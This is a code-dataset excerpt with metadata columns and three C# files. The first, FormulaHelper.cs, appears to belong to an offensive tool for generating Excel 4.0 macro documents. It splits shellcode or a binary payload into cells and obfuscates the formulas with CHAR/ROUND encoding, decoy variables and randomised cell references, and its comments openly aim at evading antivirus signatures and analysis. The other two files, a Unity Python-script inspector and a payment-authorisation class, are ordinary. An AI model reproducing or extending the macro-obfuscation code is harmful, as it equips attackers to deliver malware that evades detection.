content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
list
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
using System; using System.Collections.Generic; using System.Linq; using System.Security.Cryptography.X509Certificates; using System.Text; using b2xtranslator.Spreadsheet.XlsFileFormat; using b2xtranslator.Spreadsheet.XlsFileFormat.Ptg; using b2xtranslator.Spreadsheet.XlsFileFormat.Records; using b2xtranslator.xls.XlsFileFormat.Ptg; using b2xtranslator.xls.XlsFileFormat.Records; using b2xtranslator.xls.XlsFileFormat.Structures; namespace Macrome { public static class FormulaHelper { public const string TOOLONGMARKER = "<FORMULAISTOOLONG>"; /// <summary> /// Convert a binary payload into a series of cells representing the binary data. /// Can be iterated across as described in https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/ /// /// Because of additional binary processing logic added on May 28/29 (the TOOLONGMARKER usage), this no longer needs to identify /// if a character is printable or not. /// </summary> /// <param name="payload"></param> /// <returns></returns> public static List<string> BuildPayloadMacros(byte[] payload) { int maxCellSize = 255; List<string> macros = new List<string>(); string curMacroString = ""; foreach (byte b in payload) { if (b == (byte) 0) { throw new ArgumentException("Payloads with null bytes must use the Base64 Payload Method."); } curMacroString += (char) b; if (curMacroString.Length == maxCellSize) { macros.Add(curMacroString); curMacroString = ""; } } macros.Add(curMacroString); macros.Add("END"); return macros; } public static List<string> BuildBase64PayloadMacros(byte[] shellcode) { List<string> base64Strings = new List<string>(); //Base64 expansion is 4/3, and we have 252 bytes to spend, so we can have 189 bytes / cell //As an added bonus, 189 is always divisible by 3, so we won't have == padding. int maxBytesPerCell = 189; for (int offset = 0; offset < shellcode.Length; offset += maxBytesPerCell) { byte[] guidShellcode; if (shellcode.Length - offset < maxBytesPerCell) { guidShellcode = shellcode.Skip(offset).ToArray(); } else { guidShellcode = shellcode.Skip(offset).Take(maxBytesPerCell).ToArray(); } base64Strings.Add(Convert.ToBase64String(guidShellcode)); } base64Strings.Add("END"); return base64Strings; } private static Stack<AbstractPtg> GetGotoForCell(int rw, int col) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgRef(rw, col, false, false)); ptgStack.Push(new PtgFuncVar(FtabValues.GOTO, 1, AbstractPtg.PtgDataType.VALUE)); return ptgStack; } private static Stack<AbstractPtg> GetCharSubroutineForInt(ushort charInt, string varName, int functionLabelOffset) { List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgMissArg()); ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgName(functionLabelOffset)); ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(charInt)); ptgList.Add(new PtgStr(varName, true)); ptgList.Reverse(); return new Stack<AbstractPtg>(ptgList); } private static Stack<AbstractPtg> GetCharSubroutineWithArgsForInt(ushort charInt, int functionLabelOffset) { List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(charInt)); ptgList.Add(new PtgName(functionLabelOffset)); ptgList.Reverse(); return new Stack<AbstractPtg>(ptgList); } private static Stack<AbstractPtg> GetAntiAnalysisCharSubroutineForInt(ushort charInt, string varName, string decoyVarName, int functionLabelOffset) { int numAndArgs = 2; List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.IF, 3, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgMissArg()); ptgList.Add(new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 1, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgName(functionLabelOffset)); ptgList.Add(new PtgFuncVar(FtabValues.AND, numAndArgs, AbstractPtg.PtgDataType.VALUE)); Random r = new Random(); int correctArg = r.Next(0, numAndArgs); for (int i = 0; i < numAndArgs; i += 1) { ptgList.Add(new PtgFuncVar(FtabValues.SET_NAME, 2, AbstractPtg.PtgDataType.VALUE)); if (i == correctArg) { ptgList.Add(new PtgInt(charInt)); ptgList.Add(new PtgStr(varName, true)); } else { ptgList.Add(new PtgInt((ushort)r.Next(1,255))); ptgList.Add(new PtgStr(decoyVarName, true)); } } ptgList.Reverse(); return new Stack<AbstractPtg>(ptgList); } public static Formula CreateCharInvocationFormulaForLblIndex(ushort rw, ushort col, int lblIndex) { List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgName(lblIndex)); ptgList.Reverse(); Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList); Formula charInvocationFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return charInvocationFormula; } public static List<Formula> CreateCharFunctionWithArgsForLbl(ushort rw, ushort col, int var1Lblindex, string var1Lblname) { // =ARGUMENT("var1",1) List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(1)); ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE)); ptgList.Reverse(); Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList); Formula charFuncArgFormula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =RETURN(CHAR(var1)) ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 1, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgName(var1Lblindex)); ptgList.Reverse(); ptgStack = new Stack<AbstractPtg>(ptgList); Formula charInvocationReturnFormula = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return new List<Formula>() {charFuncArgFormula, charInvocationReturnFormula}; } public static List<Formula> CreateFormulaInvocationFormulaForLblIndexes(ushort rw, ushort col, string var1Lblname, string var2Lblname, int var1Lblindex, int var2Lblindex) { // =ARGUMENT("var1",2) List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(2)); ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE)); ptgList.Reverse(); Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList); Formula formFuncArg1Formula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =ARGUMENT("var2",8) ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(8)); ptgList.Add(new PtgStr(var2Lblname, true, AbstractPtg.PtgDataType.VALUE)); ptgList.Reverse(); ptgStack = new Stack<AbstractPtg>(ptgList); Formula formFuncArg2Formula = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =FORMULA(var1,var2) ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgName(var2Lblindex)); ptgList.Add(new PtgName(var1Lblindex)); ptgList.Reverse(); ptgStack = new Stack<AbstractPtg>(ptgList); Formula formulaInvocationFunction = new Formula(new Cell(rw+2, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =RETURN() ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 0, AbstractPtg.PtgDataType.VALUE)); ptgStack = new Stack<AbstractPtg>(ptgList); Formula returnFormula = new Formula(new Cell(rw+3, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return new List<Formula>() {formFuncArg1Formula, formFuncArg2Formula, formulaInvocationFunction, returnFormula}; } public static List<Formula> CreateFormulaEvalInvocationFormulaForLblIndexes(ushort rw, ushort col, string var1Lblname, int var1Lblindex) { // =ARGUMENT("var1",2) List<AbstractPtg> ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.ARGUMENT, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgInt(2)); ptgList.Add(new PtgStr(var1Lblname, true, AbstractPtg.PtgDataType.VALUE)); ptgList.Reverse(); Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(ptgList); Formula formFuncArg1Formula = new Formula(new Cell(rw, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =FORMULA(var1,nextRow) ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgRef(rw+2,col,false,false)); ptgList.Add(new PtgName(var1Lblindex)); ptgList.Reverse(); ptgStack = new Stack<AbstractPtg>(ptgList); Formula formulaInvocationFunction = new Formula(new Cell(rw+1, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // Formula Written by Previous Line // =FORMULA("",prevRow) ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(CetabValues.FORMULA, 2, AbstractPtg.PtgDataType.VALUE)); ptgList.Add(new PtgRef(rw+2,col,false,false)); ptgList.Add(new PtgStr("")); ptgList.Reverse(); ptgStack = new Stack<AbstractPtg>(ptgList); Formula formulaRemovalFunction = new Formula(new Cell(rw+3, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); // =RETURN() ptgList = new List<AbstractPtg>(); ptgList.Add(new PtgFuncVar(FtabValues.RETURN, 0, AbstractPtg.PtgDataType.VALUE)); ptgStack = new Stack<AbstractPtg>(ptgList); Formula returnFormula = new Formula(new Cell(rw+4, col), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return new List<Formula>() {formFuncArg1Formula, formulaInvocationFunction, formulaRemovalFunction, returnFormula}; } public static Stack<AbstractPtg> GetAlertPtgStack(string alertString) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgStr("Hello World!", false, AbstractPtg.PtgDataType.VALUE)); ptgStack.Push(new PtgInt(2, AbstractPtg.PtgDataType.VALUE)); ptgStack.Push(new PtgFuncVar(CetabValues.ALERT, 2, AbstractPtg.PtgDataType.VALUE)); return ptgStack; // RPN-like Bytecode: Alert("Hello World!", 2) } public static Formula GetGotoFormulaForCell(int rw, int col, int dstRw, int dstCol, int ixfe = 15) { Cell curCell = new Cell(rw, col, ixfe); Stack<AbstractPtg> ptgStack = GetGotoForCell(dstRw, dstCol); Formula gotoFormula = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return gotoFormula; } public static Stack<AbstractPtg> GetCharPtgForInt(ushort charInt) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgInt(charInt)); //An alternate way to invoke the CHAR function by using PtgFuncVar instead //TODO [Stealth] this is sig-able and we'll want to do something more generalized than abuse the fact AV doesn't pay attention ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE)); // ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE)); return ptgStack; } public static Stack<AbstractPtg> GetObfuscatedCharPtgForInt(ushort charInt) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); Random r = new Random(); //Allegedly we max out at 0xFF for column values...could be a nice accidental way of creating alternate references though //Generate a random PtgRef to start the stack - if it's an empty cell, this is a no-op if we end with a PtgConcat ptgStack.Push(new PtgRef(r.Next(1000, 2000), r.Next(0x20, 0x9F), false, false, AbstractPtg.PtgDataType.VALUE)); ptgStack.Push(new PtgNum(charInt)); ptgStack.Push(new PtgInt(0)); ptgStack.Push(new PtgFunc(FtabValues.ROUND, AbstractPtg.PtgDataType.VALUE)); //An alternate way to invoke the CHAR function by using PtgFuncVar instead // ptgStack.Push(new PtgFuncVar(FtabValues.CHAR, 1, AbstractPtg.PtgDataType.VALUE)); ptgStack.Push(new PtgFunc(FtabValues.CHAR, AbstractPtg.PtgDataType.VALUE)); //Merge the random PtgRef we generate at the beginning ptgStack.Push(new PtgConcat()); return ptgStack; } public static List<BiffRecord> ConvertBase64StringsToRecords(List<string> base64Strings, int rwStart, int colStart) { List<BiffRecord> records = new List<BiffRecord>(); int curRow = rwStart; int curCol = colStart; foreach (var base64String in base64Strings) { records.AddRange(GetRecordsForString(base64String, curRow, curCol)); curRow += 1; } return records; } public static List<BiffRecord> GetRecordsForString(string str, int rw, int col) { List<BiffRecord> records = new List<BiffRecord>(); Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgStr("A", false)); Cell targetCell = new Cell(rw, col); BiffRecord record = new Formula(targetCell, FormulaValue.GetStringFormulaValue(), false, new CellParsedFormula(ptgStack)); records.Add(record); records.Add(new STRING(str, false)); return records; } public static List<BiffRecord> ConvertStringsToRecords_NoLoader(List<string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List<BiffRecord> formulaList = new List<BiffRecord>(); int curRow = rwStart; int curCol = colStart; int dstCurRow = dstRwStart; int dstCurCol = dstColStart; //TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions foreach (string str in strings) { string[] rowStrings = str.Split(MacroPatterns.MacroColumnSeparator); List<BiffRecord> stringFormulas = new List<BiffRecord>(); for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1) { //Skip empty strings if (rowStrings[colOffset].Trim().Length == 0) continue; var formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod); stringFormulas.AddRange(formulas); curRow += formulas.Count; } dstCurRow += 1; formulaList.AddRange(stringFormulas); } return formulaList; } public static List<BiffRecord> ConvertStringsToRecords(List<string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List<BiffRecord> formulaList = new List<BiffRecord>(); int curRow = rwStart; int curCol = colStart; int dstCurRow = dstRwStart; int dstCurCol = dstColStart; //TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions foreach (string str in strings) { string[] rowStrings = str.Split(MacroPatterns.MacroColumnSeparator); List<BiffRecord> stringFormulas = new List<BiffRecord>(); for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1) { //Skip empty strings if (rowStrings[colOffset].Trim().Length == 0) { continue; } string rowString = rowStrings[colOffset]; int maxCellLength = 0x2000; //One Char can take up to 8 bytes int concatCharLength = 8; List<BiffRecord> formulas; if ((rowString.Length * concatCharLength) > maxCellLength) { //Given that the max actual length for a cell is 255 bytes, this is unlikely to ever be used, //but the logic is being kept in case there are edge cases or there ends up being a workaround //for the limitation List<string> chunks = rowString.SplitStringIntoChunks(250); formulas = ConvertChunkedStringToFormulas(chunks, curRow, curCol, dstCurRow, dstCurCol, ixfe, packingMethod); } else { string curString = rowStrings[colOffset]; //If the string is technically 255 bytes, but needs additional encoding, we break it into two parts: //ex: "=123456" becomes "=CHAR(=)&CHAR(1)&CHAR(2)&CHAR(3)&RandomCell" and =RandomVarName&"456" if (curString.StartsWith(FormulaHelper.TOOLONGMARKER)) { formulas = ConvertMaxLengthStringToFormulas(curString, curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod); } else { formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod); } } stringFormulas.AddRange(formulas); //If we're starting to get close to the max rowcount (0xFFFF in XLS), then move to the next row if (curRow > 0xE000) { Formula nextRowFormula = FormulaHelper.GetGotoFormulaForCell(curRow + formulas.Count, curCol, 0, curCol + 1); stringFormulas.Add(nextRowFormula); curRow = 0; curCol += 1; } else { curRow += formulas.Count; } } dstCurRow += 1; formulaList.AddRange(stringFormulas); } return formulaList; } public static List<BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { string actualString = new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray()); string earlyString = new string(actualString.Take(16).ToArray()); string remainingString = new string(actualString.Skip(16).ToArray()); List<BiffRecord> formulas = new List<BiffRecord>(); int curRow = rwStart; int curCol = colStart; Random r = new Random(); int rndCol = r.Next(0x90, 0x9F); int rndRw = r.Next(0xF000, 0xF800); formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod)); curRow += formulas.Count; Cell remainderCell = new Cell(rndRw, rndCol); List<Cell> createdCells = new List<Cell>(); //Create a formula string like //"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]"; //To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s string macroString = "="; foreach (char c in earlyString) { macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c)); } macroString += string.Format("R{0}C{1}",rndRw + 1, rndCol + 1); createdCells.Add(remainderCell); List<BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod); formulas.AddRange(mainFormula); return formulas; } public static List<BiffRecord> ConvertChunkedStringToFormulas(List<string> chunkedString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { bool instaEval = false; if (chunkedString[0].StartsWith(MacroPatterns.InstaEvalMacroPrefix)) { if (packingMethod != SheetPackingMethod.ArgumentSubroutines) { throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval"); } instaEval = true; chunkedString[0] = chunkedString[0].Replace(MacroPatterns.InstaEvalMacroPrefix, ""); } List<BiffRecord> formulaList = new List<BiffRecord>(); List<Cell> concatCells = new List<Cell>(); int curRow = rwStart; int curCol = colStart; foreach (string str in chunkedString) { List<Cell> createdCells = new List<Cell>(); //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature foreach (char c in str) { Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol, ixfe); createdCells.Add(curCell); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); formulaList.Add(charFrm); curRow += 1; } Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol); concatCells.Add(new Cell(curRow, curCol, ixfe)); formulaList.Add(concatFormula); curRow += 1; } Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol); formulaList.Add(concatConcatFormula); curRow += 1; PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE); Random r = new Random(); int randomBitStuffing = r.Next(1, 32) * 0x100; PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false); Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval); formulaList.Add(formula); return formulaList; } public static Stack<AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod) { switch (packingMethod) { case SheetPackingMethod.ObfuscatedCharFunc: return GetObfuscatedCharPtgForInt(Convert.ToUInt16(c)); case SheetPackingMethod.ObfuscatedCharFuncAlt: return GetCharPtgForInt(Convert.ToUInt16(c)); case SheetPackingMethod.CharSubroutine: //For now assume the appropriate label is at offset 1 (first lbl record) return GetCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, 1); case SheetPackingMethod.AntiAnalysisCharSubroutine: //For now assume the appropriate label is at offset 1 (first lbl record) return GetAntiAnalysisCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, UnicodeHelper.DecoyVarName, 1); case SheetPackingMethod.ArgumentSubroutines: //For now assume the appropriate label is at offset 1 (first lbl record) return GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1); default: throw new NotImplementedException(); } } public static List<BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc) { List<BiffRecord> formulaList = new List<BiffRecord>(); List<Cell> createdCells = new List<Cell>(); int curRow = rwStart; int curCol = colStart; bool instaEval = false; if (str.StartsWith(MacroPatterns.InstaEvalMacroPrefix)) { if (packingMethod != SheetPackingMethod.ArgumentSubroutines) { throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval"); } instaEval = true; str = str.Replace(MacroPatterns.InstaEvalMacroPrefix, ""); } List<Formula> charFormulas = GetCharFormulasForString(str, curRow, curCol, packingMethod); formulaList.AddRange(charFormulas); curRow += charFormulas.Count; createdCells = charFormulas.Select(formula => new Cell(formula.rw, formula.col, ixfe)).ToList(); List<BiffRecord> formulaInvocationRecords = BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol, packingMethod, instaEval); formulaList.AddRange(formulaInvocationRecords); return formulaList; } private static List<Formula> GetCharFormulasForString(string str, int curRow, int curCol, SheetPackingMethod packingMethod) { List<Formula> charFormulas = new List<Formula>(); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { Formula macroFormula = ConvertStringToMacroFormula(str, curRow, curCol); charFormulas.Add(macroFormula); } else { foreach (char c in str) { Stack<AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod); ushort charValue = Convert.ToUInt16(c); if (charValue > 0xFF) { ptgStack = new Stack<AbstractPtg>(); ptgStack.Push(new PtgStr("" + c, true)); } Cell curCell = new Cell(curRow, curCol); Formula charFrm = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); byte[] formulaBytes = charFrm.GetBytes(); charFormulas.Add(charFrm); curRow += 1; } } return charFormulas; } private static Formula GetFormulaInvocation(PtgRef srcCell, PtgRef destCell, int curRow, int curCol, SheetPackingMethod packingMethod, bool instaEval) { Stack<AbstractPtg> formulaPtgStack = new Stack<AbstractPtg>(); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { if (instaEval == false) { // The Formula Call is currently hardcoded to index 2 formulaPtgStack.Push(new PtgName(2)); } else { // The Instant Evaluation Formula Call is currently hardcoded to index 6 formulaPtgStack.Push(new PtgName(6)); } } formulaPtgStack.Push(srcCell); formulaPtgStack.Push(destCell); if (packingMethod == SheetPackingMethod.ArgumentSubroutines) { PtgFuncVar funcVar = new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 3, AbstractPtg.PtgDataType.VALUE); formulaPtgStack.Push(funcVar); } else { PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2); formulaPtgStack.Push(funcVar); } Formula formula = new Formula(new Cell(curRow, curCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack)); return formula; } private static List<BiffRecord> BuildFORMULAFunctionCall(List<Cell> createdCells, int curRow, int curCol, int dstRw, int dstCol, SheetPackingMethod packingMethod, bool instaEval) { List<BiffRecord> formulaList = new List<BiffRecord>(); Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol); formulaList.Add(concatFormula); curRow += 1; PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE); Random r = new Random(); int randomBitStuffing = r.Next(1, 32) * 0x100; PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false); Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval); formulaList.Add(formula); return formulaList; } public static Formula ConvertStringToMacroFormula(string formula, int frmRow, int frmCol) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); int charactersPushed = 0; foreach (char c in formula) { PtgConcat ptgConcat = new PtgConcat(); Stack<AbstractPtg> charStack = GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1); charStack.Reverse().ToList().ForEach(item => ptgStack.Push(item)); charactersPushed += 1; if (charactersPushed > 1) { ptgStack.Push(ptgConcat); } } Formula f = new Formula(new Cell(frmRow, frmCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return f; } public static Formula BuildConcatCellsFormula(List<Cell> cells, int frmRow, int frmCol, int ixfe = 15) { Stack<AbstractPtg> ptgStack = new Stack<AbstractPtg>(); Cell firstCell = cells.First(); List<Cell> remainingCells = cells.TakeLast(cells.Count - 1).ToList(); PtgRef cellRef = new PtgRef(firstCell.Rw, firstCell.Col, false, false, AbstractPtg.PtgDataType.VALUE); ptgStack.Push(cellRef); //TODO [Stealth] Use alternate concat methods beyond PtgConcat, for example CONCATENATE via PtgFuncVar foreach (Cell cell in remainingCells) { PtgConcat ptgConcat = new PtgConcat(); PtgRef appendedCellRef = new PtgRef(cell.Rw, cell.Col, false, false, AbstractPtg.PtgDataType.VALUE); ptgStack.Push(appendedCellRef); ptgStack.Push(ptgConcat); } Formula f = new Formula(new Cell(frmRow, frmCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack)); return f; } public static List<BiffRecord> GetFormulaRecords(Formula f) { if (f.RequiresStringRecord() == false) { return new List<BiffRecord>() {f}; } return new List<BiffRecord>() { f, new STRING("\u0000", true) }; } } }
45.793367
228
0.590608
[ "Apache-2.0" ]
H4xl0r/xlsGen
xlsGen/include/FormulaHelper.cs
35,904
C#
using UnityEngine; using UnityEditor.Experimental.AssetImporters; using System.IO; using UnityEditor; [CustomEditor(typeof(PythonScript))] public class PythonScriptAssetInspector:Editor{ private const int kMaxChars = 7000; private GUIStyle m_TextStyle; public override void OnInspectorGUI () { if (this.m_TextStyle == null) { this.m_TextStyle = "ScriptText"; } bool enabled = GUI.enabled; GUI.enabled = true; PythonScript textAsset = base.target as PythonScript; if (textAsset != null) { string text; if (base.targets.Length > 1) { text = ""; } else { text = textAsset.text; if (text.Length > 7000) { text = text.Substring (0, 7000) + @"... <...etc...>"; } } Rect rect = GUILayoutUtility.GetRect (new GUIContent (text), this.m_TextStyle); rect.x = 0; rect.y -= 3; rect.width += 17; GUI.Box (rect, text, this.m_TextStyle); } GUI.enabled = enabled; } }
24.473684
82
0.66129
[ "MIT" ]
AlexLemminG/Python-To-Unity-Integration
Assets/Python/Editor/PythonScriptAssetInspector.cs
930
C#
// ----------------------------------------------------------------------- // <copyright file="AuthorizePayment.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> // ----------------------------------------------------------------------- namespace Microsoft.Store.PartnerCenter.CustomerPortal.BusinessLogic.Commerce.Transactions { using System; using System.Diagnostics; using System.Threading.Tasks; using Infrastructure; /// <summary> /// Authorizes a payment with a payment gateway. /// </summary> public class AuthorizePayment : IBusinessTransactionWithOutput<string> { /// <summary> /// Initializes a new instance of the <see cref="AuthorizePayment"/> class. /// </summary> /// <param name="paymentGateway">The payment gateway to use for authorization.</param> /// <param name="amountToCharge">The amount to charge.</param> public AuthorizePayment(IPaymentGateway paymentGateway, decimal amountToCharge) { paymentGateway.AssertNotNull(nameof(paymentGateway)); amountToCharge.AssertPositive(nameof(amountToCharge)); this.Amount = amountToCharge; this.PaymentGateway = paymentGateway; } /// <summary> /// Gets the payment gateway used for authorization. /// </summary> public IPaymentGateway PaymentGateway { get; private set; } /// <summary> /// Gets the amount to charge. /// </summary> public decimal Amount { get; private set; } /// <summary> /// Gets the authorization code. /// </summary> public string Result { get; private set; } /// <summary> /// Authorizes the payment amount. /// </summary> /// <returns>A task.</returns> public async Task ExecuteAsync() { // authorize with the payment gateway this.Result = await this.PaymentGateway.AuthorizeAsync(this.Amount); } /// <summary> /// Rolls back the authorization. /// </summary> /// <returns>A task.</returns> public async Task RollbackAsync() { if (!string.IsNullOrWhiteSpace(this.Result)) { try { // void the previously authorized payment await this.PaymentGateway.VoidAsync(this.Result); } catch (Exception voidingProblem) { if (voidingProblem.IsFatal()) { throw; } Trace.TraceError("AuthorizePayment.RollbackAsync failed: {0}. Authorization code: {1}", voidingProblem, this.Result); // TODO: Notify the system integrity recovery component } this.Result = string.Empty; } } } }
34.586207
137
0.534729
[ "MIT" ]
vasokkumar/redstore
Source/PartnerCenter.CustomerPortal/BusinessLogic/Commerce/Transactions/AuthorizePayment.cs
3,011
C#
